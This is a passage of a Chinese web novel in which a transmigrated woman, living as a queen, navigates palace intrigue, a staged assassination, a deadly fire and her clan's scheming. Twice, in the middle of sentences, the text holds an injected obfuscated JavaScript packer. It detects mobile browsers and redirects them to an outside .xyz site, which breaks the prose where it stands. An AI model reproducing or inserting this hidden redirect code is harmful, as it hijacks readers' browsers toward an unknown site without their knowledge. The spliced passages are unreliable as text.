寒意从脚底生出,恐惧蔓延了全身,郑淑仪在殿内说过的话此刻回荡在岑瑶的耳边,她终于真切地意识到,站在自己面前的究竟是一个怎样的家伙。 见她一直站在原地不动,赵子煜一脸担忧地朝她走了过来。 “阿瑶,外面这么危险,你是怎么过来的?没出什么事吧?” 岑瑶看着眼前这张虚伪的面孔,摇了摇头。 你想杀我。 没门。 似乎是看到了她眼底流露出的恐惧,赵子煜微微扬起嘴角,随后将双手搭在了岑瑶的肩膀上。 “阿瑶,别担心,我已经派一队精锐去抓刺客了,这里很安全,没事的。” 殿外混乱的声音逐渐平息下来,岑瑶知道,今夜的危机已经成功渡过了。 但她身前的这个家伙,才是她在这个王宫里最大的敌人。 ... 当岑瑶从大殿内出来时,天边已经微微泛白,焦急等候在殿外的青兰急忙上前搀住了她。 “娘娘,您终于出来了!昨晚...” 岑瑶面无表情地望向远处,只见一股浓烟正从宫殿之间徐徐升起,但她已没有精力去关注这些了。 青兰扶着她一路往回去的方向走,途径一处岔路时,一个低眉顺眼的宫人直直冲着她们二人走了过来,只听他朝着岑瑶躬身道:“恭喜娘娘,您吩咐的事情已经办妥了,如今后患已除,娘娘便可高枕无忧了。” 岑瑶皱起眉头,眼见着那宫人转身要走,她急忙拽住了他的衣摆。 对方似乎没想到她会有这个举动,一番左顾右盼后,才低声补充道:“娘娘不必担心,知情的婢子都已经解决了,待天亮之后,一切就都尘埃落定了。” 这是什么意思? 岑瑶看向身边的青兰,后者也是一脸疑惑地摇了摇头,看着宫人逐渐远去的背影,一种不祥的预感从岑瑶心底生出,回到景仪殿后,她也根本无心睡下,就这样生生坐到了天明。 伴随着新一天的太阳升起,一个宫人急匆匆地踏入殿内。 “王后娘娘,昨晚漪兰殿走水了!” “御史前天送来的乐伎,都被活活烧死了!” 4. 第三章 宫人不知离开了多久,岑瑶还仍旧保持着之前的姿势,坐在榻上没动,隔了半晌,身侧的青兰终于还是忍不住了,只见她匆匆而去关上殿门,随后回来跪倒在岑瑶脚旁。 “娘娘,此事、此事——” 见岑瑶没反应,青兰直接叩首道:“娘娘!奴婢不知究竟是出了何事,但奴婢愿为娘娘分忧!” “无论发生什么,奴婢都会为娘娘担下罪责,娘娘不必忧心!老爷和夫人也绝不会坐视不管!” ...岑瑶抬手扶额,在心中暗骂了一句。 先前她回来时遇见的那个宫人是怎么说的来着? “待天亮之后,一切就都尘埃落定了。” 这“尘埃落定”,难不成说的就是这放火烧宫的事情?这是瑶姬下的令? 岑瑶越想越觉得混乱,这事史书里根本就没记载过,瑶姬之后也并没有因此获罪,如果想要知道真相,她就必须去找那个宫人问清楚,可她现在还是个说不出话的哑巴,这要她怎么去问? 叫青兰拿纸笔过来也是不行的,瑶姬身边的人怎么可能认不出她的笔迹?总不能信口胡诌说自己一觉醒来练会了新字体吧? 刺客一事到现在都还没个结果,何况她本就怀疑起这事是冲她来的了,现下绝不能节外生枝。如果一切按照史书发展,那烧宫之罪定然是被轻轻揭过了,但眼下住在这具身体里的是她岑瑶,而不是瑶姬,她又怎么能轻易放下心来? 想到这,岑瑶揉了揉太阳穴,她的目光从殿内扫过,直到看见架子上放着的一沓藤纸时,才终于停了下来,下一刻,她陡然起身,在拿开压在纸上的物件后,数张由清秀字迹誊写的诗句和经文映入眼帘。 这些应当就是瑶姬写的了,那么她拿着这些纸,将自己想说的话逐字指给青兰看不就好了? 如此一想,岑瑶顿时打起了精神,她抬手示意跪地的青兰起身,然后开始在这些堆放着的藤纸中翻找起来。 去。 找。 今。 日。 她将找到的几个字依次指给青兰看,翻找的动作间,一张封好的信笺忽而从纸堆中滑落出来,掉在了岑瑶的脚前。 看着眼前这格格不入的信封,岑瑶心底生出了一丝好奇,她弯下腰捡起它,只见信封上是一片空白,没有署名。 岑瑶将其撕开,然后拿出里面的信纸,展开读了起来。 “吾妻瑶儿,见字如面。” 岑瑶面露狐疑,刚心说这瑶姬和暴君同在宫中,怎么还需要互通信件,下一刻就看见一句“余中了那无耻小人的奸计,如今已被黄武率军围困数日。” ... 等下,这应该不是她想的那个意思吧? 岑瑶长吸了口气,继续读下去,后面的内容大多是一些互诉衷肠的词句,在信纸的落款处则写着几个小字:你的阿珩。 ...岑瑶瞬间反应过来,她慌忙将这信纸折了起来,然后草草塞回信封里,此刻她内心可谓是掀起了惊涛骇浪——王后瑶姬竟与前太子赵子珩私下往来,而且他们居然还是“那种”关系! 瑶姬勿怪!逝者勿怪!她真不是有意要窥探别人秘密的! 事已至此,此物绝不能被旁人发现。想到这,岑瑶急忙将信封叠了起来,她在房间里来回踱步,最后还是走到了自己床前,然后一把掀起被褥,将信封塞了进去。 这总归是别人的东西,她误看了也就罢了,但实在不好随便损毁,只得先藏起来再说。 身后的青兰被她一番动作弄得不明所以,刚想出声问询,就听见殿外传来了宫人的声音。 “娘娘,丞相夫人入宫求见——” 丞相夫人?那不就是瑶姬的母亲? 岑瑶这会突然又庆幸起自己是个哑巴了。 * 明德殿内。 “陛下,丞相大人已经到殿外了,可要让他先候着?” 赵子煜倚在榻上,一只手臂垂在身侧,一个御医此刻正跪在他跟前,小心翼翼地为他的手臂涂药。 “不必,褚相乃是我的岳丈,不算外人,让他进来吧。” 内侍闻言领命而去,不多时,一个面色阴沉的中年男人就走了进来,他朝着案前的王君行了一礼,抬起头来时,才瞧见王君的手臂上有一道触目惊心的伤痕。 “我听宫人说,老师一早便侯在宫外等待传召了,迟迟未曾宣你入宫,是本王的不是。” 褚桓眸光一凛,急忙开口回道:“陛下言重了,臣一早听说刺客入宫的事情,一直忧心陛下的安危,这才急忙赶来,陛下的手臂可是被刺客所伤?” 赵子煜闻言幽幽叹了口气,他挥手示意御医退下,随后从榻上坐起,颇为无奈道:“宫人路上应当和老师提过了,这刺客昨夜意图谋害本王,若非黄将军及时入宫救驾,本王伤得可就不止一只手臂了。” “此贼人竟如此大胆,胆敢谋害陛下!” 褚桓顿了顿,随即躬身道:“臣听闻那刺客已经被禁卫拿下了,陛下可将其交由臣来审问,必定将此事查个水落石出!” “本王倒也想如此,只可惜...”赵子煜面露遗憾之色,“还没等禁军将其关入大牢,此人就已经服毒自尽了。” “这...”褚桓的面色顿时难看起来。 赵子煜此刻已经从案前起身,他走到褚相面前,扶起了后者。 “本王理解老师的心情,本王听闻此事时也是十分愤怒,所以便命人将其尸体千刀万剐,拿去喂狗了。” 殿内有一瞬的沉默,紧接着,只听赵子煜继续道:“昨夜漪兰殿起火,想来御史现在应当也收到了消息,真是祸不单行啊,本王记得那些乐伎可都是御史培养多年的,着实可惜。” 此话一出,褚相身体微微一僵,赵子煜瞥了一眼他的脸色,随后将手轻轻搭在了他的肩上。 “依本王看,此事定然也是那刺客所为,老师觉得呢?” 丞相走后,王公公踏入殿内。 “陛下,可要派人盯着褚相那边?” 赵子煜此刻已经坐回了榻上,正用一只手缠着左臂上的纱布,闻言漫不经心道:“不必了,费御史现在正在气头上,自会替本王盯紧他的。” “是。” 正当王公公准备退下时,忽听王君开口问道:“王后现下在做什么?” “丞相夫人先前也入宫了,娘娘如今应当正在和夫人叙话,”王公公一边说着,一边抬眼打量着王君的神情,“陛下可要奴才待会去请娘娘过来?” 赵子煜微微扬起嘴角,但眼神中却半点笑意也无。 “王后昨夜可是帮了本王一个大忙,本王也该有点诚意才是,你去派人将偏殿收拾一下,待会请王后到这来。” “今夜,本王要与王后同寝。” * 不过半炷香的功夫,丞相夫人就已经踏入了殿内,岑瑶一只手撑着下巴坐在桌前,眼下是一片乌青,她看着这位端庄华贵的夫人遣退了景仪殿的全部宫人,然后向自己走来。 “陈统领今早已经传信到府上了,陛下如今是羽翼丰满了,以为拿的住我们褚氏一族了。” 岑瑶抬起眼皮,望向坐在自己对面的褚夫人。 河西褚氏,百年世家大族,可到了她那一辈,却衰落得只剩下一个没有实权的芝麻小官了。 典籍中曾记载褚氏权势滔天,当时岑瑶还不理解这四个字究竟意味着什么,可眼下看来,宫内的一举一动都逃不过褚氏的耳目。 不光是昨夜遇见的那个禁卫,就连今日也是如此。 前脚宫人刚来禀报褚夫人入宫的事,后脚她才收到刺客走投无路服毒自尽的消息,看来这宫外提早就知道了刺客被抓的情况,不然岑瑶不相信时间会卡得这么巧。 “昨夜刺客在宫中闹了一通,出了好几条人命,细数下来,有不少都是这些年你父亲暗中安插的眼线。” “这天底下哪有这么凑巧的事?你父亲已经前去面见陛下了,这些日子,你不要轻举妄动。” 刺客...杀了内奸? 见岑瑶神色微变,褚夫人轻叹一声。 “就算你瞒着青兰,可火烧漪兰殿这样的事,难道你真以为我会毫不知情?你是丞相的女儿,是一国之母,怎么能因为区区几个上不了台面的东西大动干戈?” 闻言,岑瑶身体一僵。 是了,她心底原本就已有了猜测,只是她始终不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446845|185137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信,因为一旦确定烧宫之事是瑶姬的命令,那么她就不得不承认—— 她如今是在一个杀人凶手的身体里,而她这双手也间接沾上了无辜之人的鲜血。 “你与陛下成亲不过数月,即便是看在你父亲的面子上,陛下也不敢随便纳妃入宫的。” “罢了,过去之事就让它过去吧,”褚夫人依旧自顾自说着,“事到如今,只有你诞下陛下的血脉,才能成就我们褚氏的千秋功绩,你莫要忘了——” 褚夫人伸出手,将岑瑶支在桌前的手拉开来,然后紧紧地捏在掌中。 “只有诞下嫡子,这大权才能紧握在我们手里,等到那时,这天下还姓不姓赵,就要另说了。” 岑瑶瞳孔骤然一缩,面前的褚夫人脸上分明还带着和蔼的笑意,可说出的话却让岑瑶脊背发凉,她下意识想要缩回手,但褚夫人却并没有放开她的意思。 “柔儿今年也已及笄,如今还待字闺中,娘娘,切莫再让你父亲和我失望了。” 说着,只见褚夫人从袖口中掏出了一个小纸包,然后将其塞到了岑瑶手里。 “待陛下来时,你便将此物放入香炉之中,剩下的事情,不必为娘多说。” ... 待褚夫人走后,青兰从外面进来,只见这位她从小服侍到现在的主子正目不转睛地盯着烛火,不知道在想些什么。 昨晚也是如此,娘娘果断将她拉回到宫道间的一条岔路上,青兰后背紧贴着宫墙,亲眼看见了那个内侍被人一剑穿心的场景。如果不是娘娘捂住了她的嘴,青兰觉得自己一定会当场惊叫出声,反观一旁的娘娘却镇定非常,明明她们也险些成了刀下亡魂... 青兰的心情有些复杂,她总觉得娘娘好像变了,可究竟是哪里变了,她又说不上来。 褚夫人临走前还刚叮嘱过她,说是相爷从民间寻了个好用的方子,说不定能治好娘娘暂时失音的病症,青兰踌躇片刻,刚想将这个好消息说出来,就听见一道沙哑的声音在殿内响起。 “...青兰,我要你去找禁军统领陈述,告诉他,王后要一把长弓,还要一束羽箭。” “什...” 岑瑶此刻扭过头望向她,眼中带着前所未有的决然:“若他不肯听你的,那你就告诉他,若王后没拿到想要的东西,就要他提头来见。” * 此时清明刚过,树木都已抽了新芽,但因着一连下了几场雨的缘故,天气依旧有些凉。 岑瑶披着外袍,开始独自在宫道间闲逛起来。 说是闲逛,其实更像是在认路摸索,她一路走下来,为的就是找到自己在百余年后误闯的那间宫殿。 离开景仪殿时,婢女青兰仍是一脸不放心的样子,但最终还是被她的命令给打发出去了。 她虽暂时待在瑶姬的身体里,但终究不是瑶姬,前朝后宫的明争暗斗她无心参与,更不想在自己身边放一个褚氏的眼线添堵。 但嗓音恢复这件事倒不是岑瑶刻意隐瞒,在褚夫人离开之前,她也没想到自己竟真能发出声音。 岑瑶长吸了口气,觉得自己有必要理清楚现在的情况。 照褚夫人所说,这刺客进宫之后,杀的人里有不少都是褚相在宫中安插的眼线,而昨晚她前去觐见厉王时,后者完全是一副气定神闲的模样,如此看来,只有一种可能。 那就是压根没有什么刺客,一切只是一场为了肃清宫内奸细的闹剧。 真要说起来,难道有谁瞧见刺客行刺的模样了吗? 辰时宫人就来报了,说是这刺客被陛下的精锐捉拿后,自知无路可逃,便服毒自尽了,而陛下为了警告其他蠢蠢欲动的势力,直接下令将其千刀万剐,以儆效尤了。 嗯,没错,就是对尸体千刀万剐。 在岑瑶看来,这哪是杀一儆百啊,这分明是死无对证。 可昨晚那个引她出去的内侍真是厉王派来的吗?想要借着刺客入宫这个由头顺便将她除掉?但杀了她,又能给厉王带来什么好处呢? 莫不是... 岑瑶这会突然想起火烧漪兰殿这茬,如果厉王真的想要杀她,那么就只有一个可能—— 那就是她妨碍厉王纳妃了! 5. 第四章 这个想法一出,岑瑶只觉五雷轰顶,但她又越想越觉得合理。 没错,厉王和瑶姬之间本就没有什么冲突,况且瑶姬的父亲还是扶持厉王上位的功臣,虽说根据史书记载所言,厉王之后会不顾旧情,但到目前为止,不是还好好的吗? 可要真是因为这个原因,那她实在冤枉啊!这命令是瑶姬下的,她只是一个无辜的路人!别说阻碍厉王纳妃了,就是厉王现在有一百一千个宠妃,她都会举双手赞成,最好厉王还能为宠妃鸣不平,动动宠妾灭后的念头,不不不,不是灭后,是废后,这样她就可以被一脚踢出王宫,远离这个是非之地! 岑瑶此刻无比庆幸自己不是真正的瑶姬,否则她一边要面对狼子野心咄咄逼人的家族势力,一边还要应付阴晴不定暗藏杀意的暴君。 ...但是她现在好像就在做这个事情啊。 真瑶姬你快回来啊! 事到如今,岑瑶觉得想办法回去已是迫在眉睫,倘若她再不换回自己的身体,或者说,再不结束这场噩梦,她根本无法预料到未来还会发生什么。 昨夜她左思右想,总觉得或许她入宫伴读时误闯的废弃宫殿才是事情的关键。 可景仪殿并不是记忆中的那处宫殿,没有殿前的那棵枯树,也没有院里的那口井,或许是...瑶姬被逼疯后换了住所? 于是岑瑶开始按照记忆中的路线,一边走一边找。 但这并非易事,因为此时已是百余年前,改朝换代之后,宫里的模样大有改变,不仅修建了不少新的宫殿,就连部分宫道也是推翻重造的。 正当她为难之时,忽而瞧见不远处有几个宫女正朝着这边走来,岑瑶本打算拦下其中一人打听一番,不料这几个宫女在看见她之后皆露出一副诚惶诚恐的模样。 岑瑶不擅长面对这种畏惧的目光,她颇有几分尴尬,开口问道:“你们可知这宫里有何处院落是种着一棵大树的?” 几个小宫女你看看我,我看看你,谁都不肯先说话,倒是走在最后面的小宫女战战兢兢地埋头应道:“回娘娘,倒是有几处宫殿院子里种着树,不知您是要...” 岑瑶打断她道:“哪处院落种的树最高大?” 那小宫女回想片刻,随后便缩着脖子引岑瑶往另一个方向走,她们一路途经了几处宫殿,走到转角处时,岑瑶瞧见几个宫人正提着木桶迎面而来。 一丝隐隐的不妙从心底浮上来,鼻息间此时嗅到了一股烧焦的味道,岑瑶不禁加快脚步,直到走到一处宫门前时,她才终于停了下来。 身后传来小宫女胆怯的声音:“王后娘娘,这便是种了大槐树的漪兰殿...” 岑瑶呆愣地站在原地,只见一棵被烧焦了的枯树正立于院内,坐落在其后的是一片乌黑的废墟。 那宫女见她没发话,也不敢退下,只得惴惴不安地候在原地,岑瑶则抬脚踏过宫门,直直往院里去了。 像极了。 除了和记忆中的那棵树相比多了几根枝桠以外,其他的地方几乎没什么差别。 院内还在忙活的宫人见到王后亲临,无一不是惶恐的模样,岑瑶想要往后院的方向去,却被一名匆匆赶来的内侍拦了下来。 “恭迎娘娘,不知娘娘来此有何贵干?” 岑瑶瞥了一眼此人,只见其身材矮小,但眼神里却透着精明干练,和她一路上遇到的那些下人不同。 “井在哪?”她问道。 倘若此处就是她误闯的那间宫殿,那么后院里应当会有一口井,她要去亲眼确认。 那内侍闻言并未挪开身子,反倒躬身毕恭毕敬道:“此地先前走了水,如今还在善后,娘娘千金之躯,此刻前去只怕会沾了污秽。娘娘若是对后面的那口古井感兴趣,改日小人再带您来瞧便是。” 看来是有井了。 远处的天空逐渐被乌云笼罩,岑瑶伫立在原地良久,才终于有了动作,只见她目光颇为复杂地扫过这处院落,随后简单应了声,算是同意了对方的提议。 继续待在这里也不会有什么收获,岑瑶在心底叹了口气,临走时,她忽而想到了什么,于是扭过头问向那内侍:“我听说,此处有人被火...” 剩下的几个字她怎么也说不出口,岑瑶感到一种无形的压力落在她的肩头,她分明不是下令放火的人,却无法对无辜之人视而不见。 “你...替我寻一寻那些乐伎在宫外的家人吧,若是有了消息,你就来景仪殿找我。人死虽不能复生,但我会从账上拨出千两给他们,也算是...聊表慰藉。” 那内侍在身后恭敬相送。 “娘娘仁慈,冯清恭送娘娘。” 冯清? 岑瑶脚步一顿,猛然回过头望向身后那人,只见其依旧保持着躬身行礼的姿势,半点不曾逾矩。 史书中记载,靖安七年,内侍总管冯清与意图谋反的睿王串通一气,私开城门,引兵围宫。 岑瑶回想起昨夜来景仪殿敲门的那个人。 “你就是冯总管?” 冯清闻言动作略一迟疑,答道:“回娘娘,正是小人。” 岑瑶微微眯起眼。 是了,她之前怎么就忘了,宫里还有这一号人物。 关于此人的来历,岑瑶并不了解,只知道厉王视其为亲信,自登基起就让其侍奉在左右,也不怪青兰昨夜一听说那内侍是冯清身边的,就放心开门跟他走了。 冯清是从什么时候开始背叛厉王的,又为什么要背叛厉王,岑瑶一点也不在乎,但如果他敢算计到自己头上,那她是绝不会善罢甘休的。 眼下贸然问话是不明智的,岑瑶决定先就昨夜的事情小小试探一番,她刚欲开口,就听见外面传来一道焦急的声音。 “冯总管!陛下要我请王后娘娘前去明德殿,您可知娘——” 只见一个面容稚嫩的小宫人正慌慌张张地迈入院门,他话还没说完,一瞧见岑瑶的身影后,当即面色一白,张口结舌起来。 “娘...娘娘!小的、小的先前不知娘娘在此!” 岑瑶这几日见惯了一脸惧意的下人,此刻看见这么个欠缺礼数的呆愣小宫人,倒觉得有些新奇了,还不等她做出反应,只见身后的冯清就已先一步上前,一脚将那小宫人踹倒在了地上。 ! 岑瑶被这突如其来的行为给惊到了,却见冯清不动声色地回过身,垂首道:“娘娘恕罪,他是个新来的,有些规矩还没记住,娘娘宽宏大量,今日便饶他一次吧。” 他说的话看似是在向着那小宫人,也分明让人挑不出毛病,但岑瑶心底却隐隐生出一丝不快来,她将目光瞟向四周,果然瞧见这院内的宫人皆是一副惊弓之鸟的样子。 “不过是个孩子,无妨。”她开口道。 冯清闻此默不作声,岑瑶以为这事算是了了,不料下一刻,就听见那冯清抬手道:“来人——” “教教他宫里的规矩。” 他的话音刚落,院内几个原本还在忙着收拾的内侍就立刻放下了手上的东西,转而朝着这边走来,岑瑶怔了一瞬,她眼看着几人将那小宫人从地上拖了起来,其中一人还撸起了袖子,做出要打人的架势。 岑瑶当即明白过来。 “你们这是做什么!”她冲着几人喝了一声,随后快步上前,一把拉开那个作势要打人的家伙。 冯清则站在一旁,语气十分平静:“娘娘大度,这才饶了他一命,但此人今日冲撞了娘娘,说不定改日还会冲撞陛下,小人这是在教他规矩。” 岑瑶转过头望向那个被几人拎起来的小宫人,只见后者双目通红,脸色惨白如纸。 啊... 就是因为这群掌权者自以为高人一等,所以下面的人才会视黎民百姓之命如同草芥一般,一个内侍在宫中随意欺压旁人,却拿陛下来当挡箭牌。 岑瑶冷笑一声。 “规矩?” 她环顾四周,看着那一张张或怯懦或呆板的面容,一字一句道:“既然说到规矩,那你们就给我听好了——” “在这个王宫里,本宫就是规矩!本宫如何说,你们就如何去做。如果有人胆敢借着本宫的名义,或是陛下的名义恃势凌人,那就别怪本宫手下无情了!” 此话一出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446846|185137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,院内一时寂静无声,岑瑶看向那几个拉扯着小宫人的内侍,冷冷开口道:“怎么,本宫说的话还不够清楚吗?” 那几个内侍闻言面面相觑,纷纷停手跪倒在地,嘴里念叨着“娘娘息怒”。 岑瑶没管这些人,她望向那个跪在地上的小宫人,开口问道:“你叫什么名字?” 那小宫人一开始还没反应过来,直到岑瑶走到他跟前,他才后知后觉地颤声回道:“小的...名叫小怀。” “你是新入宫的?” “是...” “行,那你往后就跟着我吧,”岑瑶一边说着,一边用余光扫了一眼站在一旁的冯清,“往后不论这宫中如何,我的景仪殿总归是没那么多规矩的,既然陛下有旨,你现在就带我过去吧。” 跪在地上的小怀一时愣了一下,眼见着岑瑶已经抬脚走了,他才后知后觉地应了声,随后急忙从地上爬起来,拍了拍身上的尘土,转而跟在新主子后面。 而在他们身后的冯清依旧站在原地,此刻他抬起头,目光阴鸷地望向女人的背影。 ... 漪兰殿外,先前领路的小宫女仍旧候在原地,岑瑶出来时见到这一幕,便主动上前道:“今日多亏你了,自己去景仪殿领赏吧。” 小宫女一时没反应过来,隔了半晌才急忙叩首谢恩,小怀这会也跟了上来,他走在岑瑶身后,毕恭毕敬道:“多谢娘娘今日救下小怀,小怀日后定当全心全意侍奉娘娘!” 岑瑶颔首,淡淡开口道:“带路吧。” 看着小宫人走在前面的背影,岑瑶觉得自己如今是前所未有的冷静,尤其是在经历这接二连三的变故之后。 漪兰殿被烧成一片废墟了,根本没有记忆中那座华丽的宫殿,回家的线索被迫暂时中断,但她不能坐以待毙,在找到办法回去之前,她必须先在这个王宫里生存下来。 褚夫人已经将话说的很清楚了,倘若她不能为褚氏所用,那么他们就只能另谋他法了,也就是说,如若她不能尽快生下嫡子,助褚氏夺权,那她就会被视为一枚弃子,而又有哪个执棋之人会在乎弃子的安危呢? 至于厉王那边... 岑瑶此刻突然回想起昨夜在大殿内,赵子煜望向她那关切的目光。冷静下来想想,杀了她,厉王极有可能会失去褚氏及其党羽的辅佐,对他来说简直百害而无一利。 可若不是厉王,又会是谁呢? 头顶的天空此刻阴沉沉的,疾风阵阵刮过,吹得岑瑶发髻上的流苏簪子都摇晃起来。 她知道,这是暴风雨来临的前兆。 殿前的宫人冲她毕恭毕敬地行礼,在一声通传过后,内侍领着她踏入殿内,几个御医与岑瑶擦肩而过,一股浓郁的中药味扑面而来。 男人正坐在案前,见她入殿,略显苍白的脸上扯出了一丝笑意。 “阿瑶,你来了。” 岑瑶略略抬眼,一下就注意到了案上摆着的瓷碗,鼻息间充斥着苦涩的药味,她心中虽闪过一丝疑惑,但面上倒没显出什么,只乖顺地站在阶下,等待着这位暴君发话。 “今日怎的这样拘谨?阿瑶像往常一样便好。”见她一直站在阶下不动,赵子煜便主动开口道。 像往常一样?往常是什么样? 岑瑶抿了抿嘴唇,她暗暗瞟向四周,只见殿内此刻已无宫人的影子,而除了厉王所坐的那张软榻之外,也不见有其他的位子可以坐... 难道她现在是要和厉王坐在一起? 见她仍踌躇在原地,赵子煜有些无奈地朝她招了招手:“过来。” 此话一出,岑瑶脑海中不合时宜地闪过好多个画面,那些话本子上描述的宠妃都是什么样的来着?被大王搂在怀里?喂大王吃水果? 一想到这,岑瑶顿时感觉自己整个人都不好了,如果厉王真的要搂着她怎么办?难道自己也要喂大王吃东西?可这里没有水果,难道要,喂大王喝药? 就在她胡思乱想之际,案前的男人突然开口了,岑瑶仰起头,只见赵子煜正挑眉望向自己,他的眼神中带着一丝疑惑。 “怎么还站在那?” 6. 第五章 ...岑瑶深吸了口气,努力摆脱了脑海中混乱的想法,她面上挤出了一丝僵硬的微笑,随即暗暗瞟向桌上的瓷碗,心中安慰自己:不就是喂药吗,有什么大不了? 见她终于朝着自己走来,赵子煜便也拿起了案上的笔,他余光瞥见女人走到了桌前,然后陡然上前一步,迅速坐到了自己身侧。 赵子煜心中虽泛起一丝疑惑,但终究没说什么,不料下一刻,就见岑瑶端起了桌子上盛着汤药的碗,朝自己递了过来。 ... “王后?” 这边岑瑶刚一拿起碗,就觉出了一丝不对劲,她望见了砚台旁摆着的墨条和赵子煜手中的笔,在男人那声疑惑出口之时,她也猛地放下了汤碗。 几滴药汤溅了出来,岑瑶面上略显困窘。 “我,不是,臣妾这就为陛下研墨。” 她知道自己会错了意,于是急忙伸出手准备拿过墨条,用研磨来掩饰自己的尴尬,不想她的动作太过匆忙,忽略了身上繁复的衣袖,等赵子煜一把握住她的手腕时,已经晚了。 岑瑶心中一惊,她顺着男人的目光看过去,只见身前的汤碗不知何时已被掀倒在一旁,而她的衣袖上也浸染了药汤。 岑瑶自诩不是个畏手畏脚之人,但此情无疑是御前失仪,她正想着说些什么来找补一下,却忽听一旁的男人开口道:“你的声音恢复了?” 岑瑶这才想起这茬。 “是。” 赵子煜闻言眯起眼,片刻后笑了笑:“这么重要的事情,阿瑶怎么不早点派人来告诉我。” 岑瑶想说其实她也才发现不久,但赵子煜似乎并不需要她的解释,只见他看似愉悦地朝着外面扬声道:“来人,收拾一下这里,然后去景仪殿取一套王后的常服过来,还有,重新给本王准备一碗汤药。” “陛下,不必派人去取,待我回去之后...” “说什么呢,阿瑶,”赵子煜此刻扭过头望向她,“我已经叫宫人安排好了,今夜阿瑶就宿在偏殿。” 他的脸上分明是带着笑的,但岑瑶却从他的语气中听出了不容置喙的意味,很快,便有内侍从殿外走了进来。 “陛下,奴才都已经安排好了,只是外面这会起雨了,约莫要多等一阵。” 岑瑶这才注意到殿外传来的雨声,一旁的赵子煜则漫不经心地朝着内侍摆了摆手,两个宫女此刻悄然入殿,默默将掀翻的瓷碗收了起来,随后依次将烛台上的蜡烛点燃。 “阿瑶,你看,就连天意也助我留你呢。” 岑瑶眉心跳了跳。 这会男人的声音又恢复了往常的温柔,语气真挚到仿佛是在恳求她,岑瑶看见自己的身影倒映在他的眼眸之中,可他的目光却不含一丝柔情,望向自己时如同在望着一个物件一般。 岑瑶知道,这个家伙根本没有给她选择的余地,但她就算再不情愿,也不会傻到让自己陷入不利的境地。 “陛下,那,可要臣妾现在为您研墨?”于是她脸上也扯出了一丝略带羞怯的笑,但心里却在想着幸好今日梳妆时发髻上插了一支长簪。 “好。”赵子煜欣然颔首。 殿内此时安静下来,唯有淅淅沥沥的雨声透过窗子传进来,岑瑶站在桌前,研墨的动作不停,但思绪却已飘出很远。 她来到这里已有几日了,那她真正的身体现在究竟如何了呢?家人们又会是什么反应?他们现在还好吗?她既然来到了瑶姬的身体里,那原本的瑶姬又到哪里去了?难道,她这辈子都要被困在... 一股强大的恐惧支配了她,外面的雨声仿佛敲打在岑瑶的心头,她突然觉得自己已经迷失了方向,此前的冷静更像是一种无可奈何的绝望。 “王后不必再忙活了,这些已经足够了。” 思绪骤然被打断,岑瑶怔怔地停下动作,她望向赵子煜,只见男人此刻正垂首专注地写着什么。 这个角度倒是让她有机会更细致地观察这个暴君了。 只见他皮肤白皙,眉眼深邃,眼下只着常服,瞧着便不像是个王君,反倒像是个矜贵的公子,饶是岑瑶对这个人没什么好印象,也不得不承认,他生得一副惹人眷恋的好皮囊。 他与岑瑶印象中所见过的男人大相径庭。长兄常年奔赴于沙场之上,次兄整日出入校场训练,还有那些在军队里摸爬滚打的士兵,其中虽也不乏相貌优越之辈,但都与赵子煜不同。 岑瑶想了半天,都不知道该用什么词来形容他。 伴随着抬手的动作,男人漂亮的锁骨从宽大的衣袍中显露出来,岑瑶眨了眨眼,这才意识到此举有失妥当,她慌忙移开目光,下一刻,却见一截缠着纱布的小臂从他的袖口处显露出来。 这是? 可她夜里见到赵子煜时,后者分明不像是受了伤的样子,还是她先前没有注意? 此时,赵子煜恰好抬起头来,在注意到岑瑶的目光后,他垂眸看向自己的左臂,若无其事地笑了笑:“阿瑶不必担心,不过是被刺客划了一道,算不了什么大事。” “陛下...” 岑瑶刚欲说点什么,就听殿门那边传来些许声响,先前见过的那名内侍正用托盘呈着一碗汤药徐徐而来。 “陛下,这是您先前吩咐的汤药。” “拿过来吧。” 内侍上前将瓷碗放到了案上,随后继续道:“娘娘的衣物已经送来了,不知娘娘可要现在去偏殿更换一下?” 岑瑶目光望向内侍身后,只见殿侧正候着两名婢女,其中一人手里呈着瑶姬的衣服。 赵子煜此刻亦望向她:“也是,时候不早了,阿瑶就先去偏殿换身衣服吧,不必等我,待事务处理完之后,我便去偏殿找你。” 岑瑶知道今晚是逃不掉了,但她倒也不慌,乖顺地回了个“是”后,就跟着那两名婢女一道离开了。 明德殿很大,殿侧有一个小通道,先前岑瑶进来时还没注意过,身前两个婢女此刻领着她往里面走,行至通道尽头时,她们推开了一扇门,一间宽敞的偏殿就映入眼帘。 此处十分整洁,殿内陈设也颇为简单,岑瑶猜测此处应当是赵子煜政务繁忙时短暂休憩的地方。身后的婢女为她关上门,随后上前帮她脱去穿在外面的衣裙,岑瑶虽不习惯这样细致的侍奉,但也任她们去了。 她向来是个简单随性的,过去在岑府也只穿那种简练得体的衣裳,但如今在这王宫之中,瑶姬的衣服尽是些华丽繁复的,若要叫她自己穿脱,只怕是要花费不少时间,还不如让这些婢女来服侍她。 脱下外服后,岑瑶便只着一套单薄的寝衣,她本还等着婢女上前来给她换上另一套,却听其中一人问向自己。 “娘娘待会沐浴时可要放上些花瓣?” 等下,沐浴? 岑瑶这才后知后觉地回想起自己如今的身份,饶是她再怎么镇定,此刻也不自觉地红了耳根。 “浴...是非沐不可吗?” 